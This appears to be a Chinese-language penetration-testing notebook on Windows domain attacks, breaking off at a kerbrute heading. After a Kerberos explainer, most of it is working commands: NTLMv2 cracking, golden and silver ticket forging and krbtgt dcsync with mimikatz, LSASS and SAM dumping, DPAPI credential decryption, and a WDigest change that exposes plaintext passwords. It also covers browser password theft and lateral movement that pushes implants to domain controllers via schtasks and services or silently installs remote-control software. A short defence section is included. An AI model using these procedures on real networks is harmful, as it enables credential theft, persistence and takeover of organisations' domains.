hashcat ‐m 5600kkk:::53fb7eb8d40cc777:3d00ee8a5618f85651098b8005883d5c:0101000000000000f790f7af9b92d8019cba65f5e39a1ea90000000002000e0042004d002d00320030003000380001000e0042004d002d00320030003000380004000e0042004d002d00320030003000380003000e0042004d002d00320030003000380007000800f790f7af9b92d801060004000200000008003000300000000000000001000000002000009906b326309f0ba76eb46b2271795e5d12df73e87035391df48f0fad1ce073380a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340031002e003100330030000000000000000000 1.txt ‐‐force

抓取 NTLMV2:Inveigh-master

# Kerberos 认证

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的

kerberos 协议中也存在三个角色,分别是

1
2
3
4
5
客户端(client):发送请求的一方
服务端(Server):接收请求的一方
密钥分发中心(Key Distribution Center,KDC),而密钥分发中心一般又分为两部分,分别是:
AS(Authentication Server):认证服务器,专门用来认证客户端的身份并发放客户用于访问TGS的TGT(票据授予票据)
TGS(Ticket Granting Ticket):票据授予服务器,用来发放整个认证过程以及客户端访问服务端时所需的服务授予票据(Ticket)

所以整个 kerberos 认证流程可以简化描述如下: 客户端在访问每个想要访问的网络服务时,他需要携带一个专门用于访问该服务并且能够证明自己身份的票据,当服务端收到了该票据他才能认定客户端身份正确,向客户端提供服务。所以整个认证流程可简化为两大步:

1
2
1、客户端向KDC请求获取想要访问的目标服务的服务授予票据(Ticket);
2、客户端拿着从KDC获取的服务授予票据(Ticket)访问相应的网络服务;

image-20221205143756973

所以 kerberos 通信可以分为 3 步,我们逐步详解

通信第一步客户端和 AS 进行通信

为了获得能够用来访问服务端服务的票据,客户端首先需要来到 KDC 获得服务授予票据(Ticket)。由于客户端是第一次访问 KDC,此时 KDC 也不确定该客户端的身份,所以第一次通信的目的为 KDC 认证客户端身份,确认客户端是一个可靠且拥有访问 KDC 权限的客户端,

image-20221205144558462

1
2
3
4
5
1、客户端用户向KDC以明文的方式发起请求。该次请求中携带了自己的用户名,主机IP,和当前时间戳;
2、KDC当中的AS(Authentication Server)接收请求(AS是KDC中专门用来认证客户端身份的认证服务器)后去kerberos认证数据库中根据用户名查找是否存在该用户,此时只会查找是否有相同用户名的用户,并不会判断身份的可靠性;
3、如果没有该用户名,认证失败,服务结束;如果存在该用户名,则AS认证中心便认为用户存在,此时便会返回响应给客户端,其中包含两部分内容:
3.1、第一部分内容称为TGT,他叫做票据授予票据,客户端需要使用TGT去KDC中的TGS(票据授予中心)获取访问网络服务所需的Ticket(服务授予票据),TGT中包含的内容有kerberos数据库中存在的该客户端的Name,IP,当前时间戳,客户端即将访问的TGS的Name,TGT的有效时间以及一把用于客户端和TGS间进行通信的Session_key(CT_SK)。整个TGT使用TGS密钥加密,客户端是解密不了的,由于密钥从没有在网络中传输过,所以也不存在密钥被劫持破解的情况。
3.2第二部分内容是使用客户端密钥加密的一段内容,其中包括用于客户端和TGS间通信的Session_key(CT_SK),客户端即将访问的TGS的Name以及TGT的有效时间,和一个当前时间戳。该部分内容使用客户端密钥加密,所以客户端在拿到该部分内容时可以通过自己的密钥解密。如果是一个假的客户端,那么他是不会拥有真正客户端的密钥的,因为该密钥也从没在网络中进行传输过。这也同时认证了客户端的身份,如果是假客户端会由于解密失败从而终端认证流程。至此,第一次通信完成。

通信第二步客户端和 TGS 进行通信

此时的客户端收到了来自 KDC(其实是 AS)的响应,并获取到了其中的两部分内容。此时客户端会用自己的密钥将第二部分内容进行解密,分别获得时间戳,自己将要访问的 TGS 的信息,和用于与 TGS 通信时的密钥 CT_SK。首先他会根据时间戳判断该时间戳与自己发送请求时的时间之间的差值是否大于 5 分钟,如果大于五分钟则认为该 AS 是伪造的,认证至此失败。如果时间戳合理,客户端便准备向 TGS 发起请求

image-20221205145435423

1
2
3
4
5
6
7
8
9
10
11
12
客户端行为:
1、客户端使用CT_SK加密将自己的客户端信息发送给KDC,其中包括客户端名,IP,时间戳;
2、客户端将自己想要访问的Server服务以明文的方式发送给KDC;
3、客户端将使用TGS密钥加密的TGT也原封不动的也携带给KDC;
TGS行为:
1、此时KDC中的TGS(票据授予服务器)收到了来自客户端的请求。他首先根据客户端明文传输过来的Server服务IP查看当前kerberos系统中是否存在可以被用户访问的该服务。如果不存在,认证失败结束,。如果存在,继续接下来的认证。
2、TGS使用自己的密钥将TGT中的内容进行解密,此时他看到了经过AS认证过后并记录的用户信息,一把Session_KEY即CT_SK,还有时间戳信息,他会现根据时间戳判断此次通信是否真是可靠有无超出时延。
3、如果时延正常,则TGS会使用CT_SK对客户端的第一部分内容进行解密(使用CT_SK加密的客户端信息),取出其中的用户信息和TGT中的用户信息进行比对,如果全部相同则认为客户端身份正确,方可继续进行下一步。
4、此时KDC将返回响应给客户端,响应内容包括:
第一部分:用于客户端访问网络服务的使用Server密码加密的ST(Servre Ticket),其中包括客户端的Name,IP,需要访问的网络服务的地址Server IP,ST的有效时间,时间戳以及用于客户端和服务端之间通信CS_SK(SessionKey)。
第二部分:使用CT_SK加密的内容,其中包括CS_SK和时间戳,还有ST的有效时间。由于在第一次通信的过程中,AS已将CT_SK通过客户端密码加密交给了客户端,且客户端解密并缓存了CT_SK,所以该部分内容在客户端接收到时是可以自己解密的。
至此,第二次通信完成。

通信第三步客户端和服务端进行通信

此时的客户端收到了来自 KDC(TGS)的响应,并使用缓存在本地的 CT_SK 解密了第二部分内容(第一部分内容中的 ST 是由 Server 密码加密的,客户端无法解密),检查时间戳无误后取出其中的 CS_SK 准备向服务端发起最后的请求。

image-20221205150740295

1
2
3
4
5
6
客户端:
1、客户端使用CS_SK将自己的主机信息和时间戳进行加密作为交给服务端的第一部分内容,然后将ST(服务授予票据)作为第二部分内容都发送给服务端。
服务端:
1、服务器此时收到了来自客户端的请求,他会使用自己的密钥,即Server密钥将客户端第二部分内容进行解密,核对时间戳之后将其中的CS_SK取出,使用CS_SK将客户端发来的第一部分内容进行解密,从而获得经过TGS认证过后的客户端信息,此时他将这部分信息和客户端第二部分内容带来的自己的信息进行比对,最终确认该客户端就是经过了KDC认证的具有真实身份的客户端,是他可以提供服务的客户端。此时服务端返回一段使用CT_SK加密的表示接收请求的响应给客户端,在客户端收到请求之后,使用缓存在本地的CS_ST解密之后也确定了服务端的身份(其实服务端在通信的过程中还会使用数字证书证明自己身份)。
至此,第三次通信完成。此时也代表着整个kerberos认证的完成,通信的双方都确认了对方的身份,此时便可以放心的
进行整个网络通信了。

image-20221205151142934

# 黄金票据

权限维持的技术!!

krbtgt 用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机

TGT=Krbtgt 的 html hash 加密

1、Kerberos 中的 TGT 和 Logon Session Key(CT_SK)是 AS 返回的 ,TGP 它是由 Krbtgt 加密和签名的,krbtgt 的 NTLM Hash 又是固定的,而 CT_SK 并不会保存在 KDC 中。

2、所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和 Logon Session Key(CT_SK)。

3、Client 与 TGS 的交互中,而已有了金票后(TGT), 就跳过 AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

当我们获得域控的控制权限后,有可能获取域内所有用户的 hash,和 krbtgt 的 hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且 krbtgt 的密码没有更改,此时我们可以利用 krbtgt 用户的 ntlm hash 制作黄金票据伪造 TGT,重新获取域控的管理权限。

实现前提

1、已经控制了域名并且使用域管理员登录或者提权的 system

如果域管理员发现了你控制了域控机器,把你的后门删除了,那么就不能继续控制域控了,这个时候当我们可以伪

造 TGT 重新获得域控的权限

条件:

1
2
3
4
5
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
1
2
shell whoami /user 获取域的sid值(去掉最后的‐500,500表示为administrator用户)
shell net config workstation 查看域

3、使用 mimikatz 导出 KRBTGT 的 ntlm hash

1
mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt

因为之前已经记录了关键信息,我们现在就可以伪造任意用户访问域控,windows 2008 机器必须是域内用户或者 system 用户

1
2
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票

使用计划任务上线 cs

copy 恶意文件到域控

1
shell copy c:\users\administrator\desktop\artifact.exe \\dc.hack.com\c$

设置计划任务到域控

1
2
3
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

shell schtasks /run /s dc.hack.com /i /tn "test"

# 白银票据

服务账号就是计算机名字 +$ 用来管理服务的账号

如果说黄金票据是伪造的 TGT, 那么白银票据就是伪造的 ST。 在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST, 从而获得 Session Key。通过 Session Key 解密 Authenticator3, 进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST, 且不会经过 KDC, 但是伪造的门票只对部分服务起作用。

条件如下:

1
2
3
4
5
6
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名

image-20221205180237718

3、伪造票据(CIFS 共享服务)

1
2
3
4
5
6
7
8
mimikatz sekurlsa::logonpasswords
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
shell klist 查票
shell klist purge 清票
mimikatz kerberos::golden /domain:hack.com /sid:S‐1‐5‐21‐2716900768‐72748719‐3475352185 /target:dc.hack.com /service:cifs /rc4:26a703eba507e848825615316bc880a1 /user:abcd /ptt
mimikatz kerberos::golden /domain:hack.com /sid:S‐1‐5‐21‐2716900768‐72748719‐3475352185 /target:dc.hack.com /service:LDAP /rc4:26a703eba507e848825615316bc880a1 /user:abcd /ptt
mimikatz lsadump::dcsync /dc:dc.hack.com /domain:hack.com /user:krbtgt

# SAM 文件密码抓取

本地密码:

1. 读 SAM 文件 (密文)

2. 读 lsass 进程(明文)

Mimikatz 介绍

Mimikatz 是法国人 benjamin 开发的一款功能强大的轻量级调试工具,但由于其功能强大,能够直接读取 WindowsXP-2012 等操作系统的明文密码而闻名于渗透测试,可以说是渗透必备工具,mimikatz 可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证。 mimikatz 还可以执行哈希传递、票证传递或构建黄金票证

几个常用的模块

sekurlsa 模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
privilege模块
privilege::debug 提升为debug权限
sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息
sekurlsa::msv 获取HASH (LM,NTLM)
sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg 通过tspkg读取明文密码
sekurlsa::livessp 通过livessp 读取明文密码
sekurlsa::ssp 通过ssp 读取明文密码
sekurlsa::logonPasswords 通过以上各种方法读取明文密码
sekurlsa::process 将自己的进程切换到lsass进程中,之前只是注入读取信息
sekurlsa::minidump file 这个模块可以读取已经打包的内存信息
sekurlsa::pth 哈希传递
sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxx
sekurlsa::pth /user:administrator/domain:host1 /aes256:cdf34cda4e455232323xxxx

cs 中执行

1
shell mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" > 1.txt

或者 cs 中有内置 mimikatz 直接执行 logonPasswords

process 模块

1
2
3
4
5
6
7
8
9
process::list 列出进程列表
process::exports 导出进程列表
process::imports 导入列表
process::start 开始一个进程
process::stop 停止一个程序
process::suspend 冻结一个进程
process::resume 从冻结中恢复
process::run notepad 运行一个程序
process::runp 以SYSTEM系统权限打开一个新的mimikatz窗口

kerberos 模块

1
2
3
4
kerberos::list 列出系统中的票据
kerberos::tgt 清除系统中的票据
kerberos::purge 导入票据到系统中
kerberos::ptc 票据路径

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
CRYPTO::Certificates – 列出/导出凭证。
KERBEROS::Golden – 创建黄金票证/白银票证/信任票证。
KERBEROS::List – 列出在用户的内存中所有用户的票证(TGT 和 TGS)。
KERBEROS::PTT – 票证传递。
LSADUMP::DCSync – 向 DC 发起同步一个对象(获取帐户的密码数据)的质询。
LSADUMP::LSA – 向 LSA Server 质询检索 SAM/AD 的数据(正常或未打补丁的情况下)。可以从 DC 或者是一个lsass.dmp的转储文件中导出所有的Active Directory 域凭证数据。同样也可以获取指定帐户的凭证,如 krbtgt 帐户,使用 /name 参数,如:“/name:krbtgt”。
LSADUMP::SAM ‐ 获取 SysKey 来解密 SAM 的项目数据(从注册表或者 hive 中导出)SAM 选项。可以连接到本地安全帐户管理器(SAM)数据库中并能转储本地帐户的凭证。可以用来转储在 Windows 计算机上的所有的本地凭据。
LSADUMP::Trust ‐ 向 LSA Server 质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或林转储信任密钥(密码)
MISC::AddSid – 将用户帐户添加到 SID 历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或 SID)。
MISC::MemSSP – 注入恶意的 Wndows SSP 来记录本地身份验证凭据。
MISC::Skeleton – 在 DC 中注入万能钥匙(Skeleton Key) 到 LSASS 进程中。这使得所有用户所。使用的万能钥匙修补 DC 使用 “主密码” (又名万能钥匙)以及他们自己通常使用的密码进行身份验证。
PRIVILEGE::Debug – 获得 Debug 权限(很多 Mimikatz 命令需要 Debug 权限或本地 SYSTEM 权限)。
SEKURLSA::Ekeys – 列出 Kerberos 密钥
SEKURLSA::Kerberos – 列出所有已通过认证的用户的 Kerberos 凭证(包括服务帐户和计算机帐户)。
SEKURLSA::Krbtgt – 获取域中 Kerberos 服务帐户(KRBTGT)的密码数据。
SEKURLSA::LogonPasswords – 列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的计算机的凭证。
SEKURLSA::Pth – Hash 传递 和 Key 传递(注:Over‐Pass‐the‐Hash 的实际过程就是传递了相关的 Key(s))。
SEKURLSA::Tickets – 列出最近所有已经过身份验证的用户的可用的 Kerberos 票证,包括使用用户帐户的上下文运行的服务和本地计算机在AD 中的计算机帐户。与 kerberos::list 不同的是 sekurlsa 使用内存读取的方式,它不会受到密钥导出的限制。
TOKEN::List – 列出系统中的所有令牌。
TOKEN::Elevate – 假冒令牌。用于提升权限至 SYSTEM 权限(默认情况下)或者是发现计算机中的域管理员的令牌。
TOKEN::Elevate /domainadmin – 假冒一个拥有域管理员凭证的令牌。

# SAM 文件抓取密码

导出 sam 和 system 文件

1. 通过 reg 命令无工具导出

1
2
reg save hklm\sam sam.hive
reg save hklm\system system.hive

2、通过 nishang 中的 Copy-VSS 进行复制,如果这个脚本运行在了 DC 服务器上,ntds.dit 和 SYSTEM hive 也能被拷贝出来 (或者 cs 也行)

1
2
copy‐vss //直接将文件保存在当前目录下
copy‐vss ‐DestinationDir 路径 //指定保存文件的路径(必须是已经存在的路径)

3. 读取 sam 和 system 文件获取密码

1
lsadump::sam /sam:sam.hive /system:system.hive

# 在线读取 sam,lsass 文件

使用 mimikatz 在线读取 sam 文件

1
2
3
4
5
6
分开的命令如下
privilege::debug
token:elevate
lsadump::sam
连起来
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

在线读取 lassa 文件

从 lsass 进程中提取 passwords、keys、pin、tickets 等信息

1
2
3
4
5
6
7
8
privilege::debug
sekurlsa::msv 获取HASH (LM,NTLM)
sekurlsa::wdigest 通过可逆的方式去内存中读取明文密码
sekurlsa::Kerberos 假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
sekurlsa::tspkg 通过tspkg读取明文密码
sekurlsa::livessp 通过livessp 读取明文密码
sekurlsa::ssp 通过ssp 读取明文密码
sekurlsa::logonPasswords 通过以上各种方法读取明文密码

# 离线读取

1. 导出 lsass 文件

1、使用任务管理器导出(windows NT 6)需要有远程桌面

image-20221206170800142

2. 使用 procdump 导出 lsass.dmp 文件

ProcDump 是一个命令行实用工具,其主要用途是在管理员或开发人员可用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序。 ProcDump 还包括使用窗口挂起 (使用相同的窗口挂起定义,Windows 任务管理器使用) 、未经处理的异常监视,并且可以根据系统性能计数器的值生成转储。 它还可用作可在其他脚本中嵌入的常规进程转储实用工具。因为是微软的所以一般不会被杀软杀掉

1
procdump.exe ‐accepteula ‐ma lsass.exe lsass.dmp

3. 使用 PowerSploit 的 Out-MiniDump 模块,PowerSploit 是一个基于 Powershell 的渗透工具包,可以选择创建进程的完整内存转储。

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

image-20221206171322063

4.comsvcs.dll,系统自带。通过 comsvcs.dll 的导出函数 MiniDump 实现 dump 内存

首先查看 lsass.exe 进程 PID: tasklist | findstr lsass.exe

使用 powershell 导出 rundll32 C:\windows\system32\comsvcs.dll, MiniDump 488 C:\lsass.dmp full

读取 dump 文件

mimikatz.exe “sekurlsa::minidump lsass.dmp” “sekurlsa::logonPasswords full”

# 使用 hashcat

Hashcat 是一个密码恢复工具。直到 2015 年,它都有一个专有的代码库,但随后作为开源软件发布。版本适用于 Linux、OS X 和 Windows。哈希卡支持的哈希算法的示例包括 LM 哈希、MD4、MD5、SHA 系列和 Unix Crypt 格式,以及 MySQL 和 Cisco PIX 中使用的算法。

下载地址: https://hashcat.net/hashcat/

1
hashcat ‐m 1000 NTLM HASH 字典 ‐‐force

cmd5.com

# 浏览器、数据库等其他密码的抓取

BrowserGhost 浏览器抓取

这是一个抓取浏览器密码的工具,后续会添加更多功能,已经完成的功能如下:实现 system 抓机器上其他用户的浏览器密码 (方便横向移动时快速凭据采集)

用.net2 实现可兼容大部分 windows,并去掉依赖 (不需要 System.Data.SQLite.dll 这些累赘) 可以解密 chrome 全版本密码 (chrome80 版本后加密方式变了)

Chrome 已经可以获取 login data、cookie、history、book 了

BrowserGhost.exe

Sharp-HackBrowserData 浏览器

Sharp-HackBrowserData ,谷歌、火狐、IE、Vivaldi 等常见的浏览器都能抓

Sharp-HackBrowserData.exe

SharpDecryptPwd 数据库

SharpDecryptPwd-master 对密码已保存在 Windwos 系统上的部分程序进行解析,包 Navicat,TeamViewer,FileZilla,WinSCP,Xmangager 系列产品

1
2
3
4
SharpDecryptPwd.exe ‐TeamViewer
SharpDecryptPwd.exe ‐FileZilla
SharpDecryptPwd.exe ‐WinSCP
SharpDecryptPwd.exe ‐Xmangager ‐p Session_Path

LaZagne 各类密码

是⽤于开源应⽤程序获取⼤量的密码存储在本地计算机上。每个软件都使⽤不同的技术(明⽂、API、⾃定义算法、数据库等)存储其密码。开发此⼯具的⽬的是为最常⽤的软件查找这些密码。

命令:laZagne.exe all

# 抓取 ntlm hash

getpassword

打开 GetPass 工具所在的目录。打开命令行环境。运行 64 位程 GetPassword。运行该程序后,即可获得明文密码

pwdump7

在命令行环境中运行 PwDump7 程序,可以得到系统中所有账户的 NTLMHash

QuarksPwDump

下载 QuarksPwDump.exe, 在命令行环境中输人 QuarksPwDump.exe --dump-hash-local 导出三个用户的 NLMHash

nishang

nishang 中的 GET-PASSHashes.ps1 可以可以获取 hash

1
2
Import‐Module .\Get‐PassHashes.ps1
Get‐PassHashes

wce

这款工具是一款 Hash 注入神器,不仅可以用于 Hash 注入,也可以直接获取明文或 Hash。这款工具也分为 32 位和

64 位两个不同的版本:

# Windows RDP 凭证的抓取和密码破解

Credentials 的解密是 Windows 系统信息收集中非常重要的一环,其中包括各类敏感、重要的凭证(这个可以理解为密码),接下来我们就讲解 RDP 凭证的抓取和破解

在我们点击保存密码后,Windows 就通过 MasterKey 将我们的密码加密后保存在本地,由于 Windows 还需要解密从而使用,所以这个过程是可逆,也正因为这一缘由,我们只要拿到 MasterKey 就能将密码解出来

查看凭证命令

1
2
3
4
查看mstsc的连接记录
cmdkey /list
查找本地的Credentials
dir /a %userprofile%\appdata\local\microsoft\credentials\*

image-20221207160748531

# 在线破解

1、使用 mimikatz 获取该文件的 MasterKey 的 guid

1
mimikatz dpapi::cred /in:C:\Users\Administrator\appdata\local\microsoft\credentials\FF22A1FDA68FD8515B52C534E8655421

2、找到内存中对应的 MasterKey

1
mimikatz sekurlsa::dpapi

3、最后打开 mimikatz 通过 MasterKey 值去解密凭据文件

1
dpapi::cred /in:凭据文件路径 /masterky:masterkey值

离线破解

由于我们不能保证我们的 mimikatz 是免杀状态,为了避免被对方发现,我们可以离线解密从而达到获取密码的目的其实很简单,就是把目标的文件和内存下载回来,在 vps 或本机上进行 mimikatz 解密即可。

1、下载目标内存

1
procdump.exe ‐accepteula ‐ma lsass.exe lsass1.dump 导出lsass

2、下载目标的 Credentials 文件

3、用 mimikatz 载入 dump 回来的内存

1
Sekurlsa::minidump lsass1.dump

4、获取 Credentials 的 GUID

1
dpapi::cred /in:FF22A1FDA68FD8515B52C534E8655421

5. 获取内存中所有的 MasterKey

1
sekurlsa::dpapi

6、利用 MasterKey 解密

1
dpapi::cred /in:FF22A1FDA68FD8515B52C534E8655421 /masterkey:b3354c56cd35630d10aa7477c3d16e9b94587f1dc6f9d0c8fcb72a5e4a25c8aab8fa242194666c4cc4be9485c31af555b01a49abbfbb8cc1c00d209da624f33c

# winser - 2012R2 之后抓密码方式

在 Windows2012 系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取

修改注册表和锁屏

1
2
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 开启
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭

锁屏后重新输入密码在 lsass 中才会再次存储明文密码

1
2
3
rundll32.exe user32.dll,LockWorkStation 锁屏
query user 查询登录
logoff ID 下载

# 防范

2012R2 域控设置

在 windows server 2012 R2 中,新增了一个 Protected Users 安全组,将用户加入到该组,用户的明文密码就不会被获取

安装 KB2871997

2014 年,Microsoft 发布了 KB2871997 补丁,它主要囊括了 Windows 8.1 和 Windows Server 2012 R2 中增强的安全保护机制。所以,以往的例如:Windows 7,Windows 8,Windows Server 2008R2 和 Windows Server 2012 也可以更新该补丁后获得上述安全保护机制。该补丁无法阻止” 哈希传递 “的攻击方式,但其确实有助于是 Windows 免受一些常见的攻击,例如:明文密码脱取、RDP 凭据盗取、盗取本地 Administrator 账户进行横向移动。

修改注册表

1
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f 关闭

# 横向

# 向日葵内网横向

向日葵远程控制软件是一款免费的集远程控制电脑 / 手机 / 平板、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件,且还能进行远程文件传输、远程摄像头监控等。

支持系统:Winodws/Linux/MacOS/Android/iOS

使用注册注册表的方式进行绕过,注册表文件如下

1
2
3
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient]
"11.1.0.37237_IsRunSeted"="1"

将以上的代码保存为,xxx.reg 如(1.reg)

运行注册注册表的命令和运行向日葵

查看向日葵配置文件

1
2
3
shell type C:\ProgramData\Oray\SunloginClient\config.ini
fastcode:本机识别码去掉k
encry_pwd:本机验证码,密文无法直接解密

# todesk 内网横向

ToDesk 是一款类似向日葵的远程控制软件,但比向日葵、TV 和 AD 更为流畅和稳定,它同样具备着内网穿透、文件传输、云端同步和流量加密等功能

有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS

全功能版在双击运行、命令行执行时都会出现 UAC 弹窗和安装界面,这样非常容易被管理员发现,/S 参数可以实现静默安

1
shell ToDesk1.exe /S

安装完成后自动运行,接下来查看配置文件

1
shell type C:\"Program Files (x86)"\ToDesk\config.ini

运行 ToDesk 后会在默认安装目录下生成一个 confifig.ini 配置文件,存储的有设备代码、临时密码、安全密码以及登录用户和密码等重要敏感信息,但密码都经过 ToDesk 特有加密算法加密,所以不能通过解密得到明文密码,只需要找到目标主机 ToDesk 中的 tempAuthPassEx 临时密码或 authPassEx 安全密码,将它们覆盖到我们本地 ToDesk 中的 tempAuthPassEx,重启 ToDesk 即可得到明文密码

使用 cs 进行文件替换

重启程序就可以了

1
tasklis 查找进程
1
2
taskkill /pid 2484 /F
taskkill /pid 2212 /F

重新开启

1
shell C:\"Program Files (x86)"\ToDesk\ToDesk.exe

# 利用远控工具 GoToHTTP 横向移动

GotoHTTP 工作在 B2C 模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器就能访问远程电脑。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、远程语音、远程摄像头、多显示器支持

运行该文件

在运行目录下会生成一个配置文件

查看配置文件里面有连接地址和账号密码

使用网页连接

# rustdesk

远程桌面软件,开箱即用,无需任何配置,完美替代 TeamViewer。您完全掌控数据,不用担心安全问题。您可以使用我们的注册 / 中继服务器,或者自己设置,亦或者开发您的版本。

上传到目标机器

运行程序

找到配置文件

1
C:\Users\用户名\AppData\Roaming\RustDesk\config

可以看到没有密码,这个时候需要手写这个密码,然后重启工具

1
2
tasklist
taskkill /pid 2988 /F

查看密码已经可以了

连接目标

# IPC 横向

IPC (Internet ProcessConnection) 共享 “命名管道” 的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。

通过 ipc$, 可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。

mimikatz 抓取密码如果只是管理员组的用户需要绕过 UAC

首先,需要建立一个 ipc$

1
net use \\192.168.41.30\ipc$ "密码" /user:administrator
1
net use

IPC$ 利用条件

1
2
3
4
1、开启了139、445端口
ipcs可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应 用。通过139、445( Windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲,ipcs需要139、445端口的支持。
2、管理员开启了默认共享
默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c$、d$、e$等和系统目录winnt或 windows( adminS)通过ipc$,可以实现对这些默认共享目录的访问

IPC$ 连接常见错误

错误号 5: 拒绝访问

错误号 51: Windows 无法找到网络路径,即网络中存在问题。

错误号 53: 找不到网络路径,包括 IP 地址错误、目标未开机、目标的 lanmanserver 服务未 启动目标有防火墙 (端口过滤)

错误号 67: 找不到网络名,包括 lanmanworkstation 服务未启动、ipcs 已被删除

错误号 1219: 提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了 ipcs, 需要在删除原连接后重新进行连接。

错误号 1326: 未知的用户名或错误的密码

错误号 l792; 试图登录,但是网络登录服务没有启动,包括目标 NetLogon 服务未启动(连 接域控制器时会出现此情况)。

错误号 2242: 此用户的密码已经过期 ° 例如’目标机器设置了账号管理策略,强制用户定 期修改密码

如果两端用户名密码都一样,比如都是 administrator,且密码都一样,可以直接建立 ipc

利用方式 - windows 自带命令

dir 命令

在使用 netuse 命令与远程目标机器建立 ipcs 后,可以使用 dir 命令列出远程主机中的文件,如图

1
dir \\192.168.18.10\c$

tasklist 命令

在使用 net use 命令与远程目标机器建立 ipcs 后,可以使用 tasklist 命令的 / S、/U/P 参数列 出远程主机上运行的进程

1
tasklist /s 192.168.18.10

利用方式 - schtasks

1)查看系统时间

1
net time \\IP地址

2)复制文件

1
copy 文件 \\IP地址\C$

3)创建计划任务

1
schtasks /create /u  /p  /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f

4)执行计划任务

1
2
schtasks /run /s IP地址 /i /tn "计划任务名"
// 执行成功后以system上线

5)删除计划任务

1
schtasks /delete /s IP地址 /tn "计划任务名" /f

6)清除 IPC 连接

1
net use \\IP /del /y

# IPC 配合系统服务横向移动

SC 命令详解

获取到密码并着手横向时,却发现 Task Sheduler 服务没有启用。这时候我们就可以远程建立服务,后再启用服务来运行我们想要运行的命令。

IPC 建立连接

1
net use \\192.168.41.40\ipc$ "Admin@123" /user:administrator

复制文件

1
copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$

创建服务

1
sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe"

开启服务

1
sc \\192.168.17.138 start test

删除服务

1
sc \\192.168.17.138 delete test

上线机器

# Password Spraying 密码喷洒攻击和域内用户枚举横向移动

域内用户枚举攻击原理

正常域用户登录主机,我们可以通过 "net user /domain" 来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 "net user /domain" 这条命令的。或者当主机不在域内但是能与域控通信时,以上两种情况我们可以通过以下方法对域内用户进行枚举。

Kerberos 本身是一种基于身份认证的协议,在 Kerberos 协议认证的 第一阶段 AS-REQ ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP 的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在 AS-REQ 阶段客户端向 AS 发送用户名,AS 对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据 AS 的返回包来对域用户进行枚举

枚举工具介绍

kerbrute 工具

1
